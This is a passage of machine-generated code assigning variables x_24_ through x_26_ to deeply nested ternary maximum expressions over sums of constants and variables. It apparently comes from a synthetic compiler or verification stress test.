: (((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) > ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39)))? ((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) : ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39)))))); x_24_ = (((((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) > ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))? ((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) : ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))) > (((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) > ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18)))? ((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) : ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))))? (((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) > ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))? ((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) : ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))) : (((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) > ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18)))? ((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) : ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))))) > ((((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) > ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))? ((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) : ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))) > (((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) > ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38)))? ((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) : ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))))? (((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) > ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))? ((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) : ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))) : (((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) > ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38)))? ((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) : ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38)))))? ((((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) > ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))? ((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) : ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))) > (((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) > ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18)))? ((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) : ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))))? (((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) > ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))? ((13.0 + x_0) > (17.0 + x_3)? (13.0 + x_0) : (17.0 + x_3)) : ((2.0 + x_4) > ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9))? (2.0 + x_4) : ((10.0 + x_7) > (2.0 + x_9)? (10.0 + x_7) : (2.0 + x_9)))) : (((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) > ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18)))? ((10.0 + x_10) > (19.0 + x_11)? (10.0 + x_10) : (19.0 + x_11)) : ((14.0 + x_12) > ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))? (14.0 + x_12) : ((8.0 + x_16) > (18.0 + x_18)? (8.0 + x_16) : (18.0 + x_18))))) : ((((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) > ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))? ((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) : ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))) > (((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) > ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38)))? ((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) : ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))))? (((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) > ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))? ((19.0 + x_19) > (20.0 + x_20)? (19.0 + x_19) : (20.0 + x_20)) : ((5.0 + x_22) > ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25))? (5.0 + x_22) : ((14.0 + x_24) > (20.0 + x_25)? (14.0 + x_24) : (20.0 + x_25)))) : (((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) > ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38)))? ((13.0 + x_30) > (2.0 + x_31)? (13.0 + x_30) : (2.0 + x_31)) : ((1.0 + x_32) > ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38))? (1.0 + x_32) : ((15.0 + x_36) > (14.0 + x_38)? (15.0 + x_36) : (14.0 + x_38)))))); x_25_ = (((((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))) > (((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) > ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19)))? ((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) : ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))))? (((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))) : (((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) > ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19)))? ((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) : ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))))) > ((((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) > ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))? ((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) : ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))) > (((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) > ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39)))? ((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) : ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))))? (((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) > ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))? ((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) : ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))) : (((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) > ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39)))? ((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) : ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39)))))? ((((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))) > (((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) > ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19)))? ((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) : ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))))? (((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((17.0 + x_3) > ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8))? (17.0 + x_3) : ((10.0 + x_5) > (14.0 + x_8)? (10.0 + x_5) : (14.0 + x_8)))) : (((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) > ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19)))? ((14.0 + x_13) > (3.0 + x_15)? (14.0 + x_13) : (3.0 + x_15)) : ((19.0 + x_17) > ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))? (19.0 + x_17) : ((8.0 + x_18) > (3.0 + x_19)? (8.0 + x_18) : (3.0 + x_19))))) : ((((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) > ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))? ((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) : ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))) > (((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) > ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39)))? ((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) : ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))))? (((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) > ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))? ((13.0 + x_20) > (14.0 + x_24)? (13.0 + x_20) : (14.0 + x_24)) : ((1.0 + x_25) > ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28))? (1.0 + x_25) : ((3.0 + x_27) > (4.0 + x_28)? (3.0 + x_27) : (4.0 + x_28)))) : (((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) > ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39)))? ((19.0 + x_29) > (10.0 + x_33)? (19.0 + x_29) : (10.0 + x_33)) : ((2.0 + x_34) > ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39))? (2.0 + x_34) : ((20.0 + x_37) > (15.0 + x_39)? (20.0 + x_37) : (15.0 + x_39)))))); x_26_ = (((((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) > ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))? ((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) : ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))) > (((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) > ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18)))? ((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) : ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))))? (((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) > ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))? ((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) : ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))) : (((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) > ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18)))? ((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) : ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))))) > ((((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) > ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))? ((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) : ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))) > (((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) > ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36)))? ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) : ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))))? (((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) > ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))? ((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) : ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))) : (((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) > ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36)))? ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) : ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36)))))? ((((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) > ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))? ((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) : ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))) > (((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) > ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18)))? ((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) : ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))))? (((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) > ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))? ((18.0 + x_2) > (16.0 + x_3)? (18.0 + x_2) : (16.0 + x_3)) : ((8.0 + x_4) > ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8))? (8.0 + x_4) : ((6.0 + x_7) > (2.0 + x_8)? (6.0 + x_7) : (2.0 + x_8)))) : (((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) > ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18)))? ((12.0 + x_9) > (3.0 + x_12)? (12.0 + x_9) : (3.0 + x_12)) : ((14.0 + x_15) > ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))? (14.0 + x_15) : ((16.0 + x_17) > (10.0 + x_18)? (16.0 + x_17) : (10.0 + x_18))))) : ((((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) > ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))? ((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) : ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))) > (((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) > ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36)))? ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) : ((6.0 + 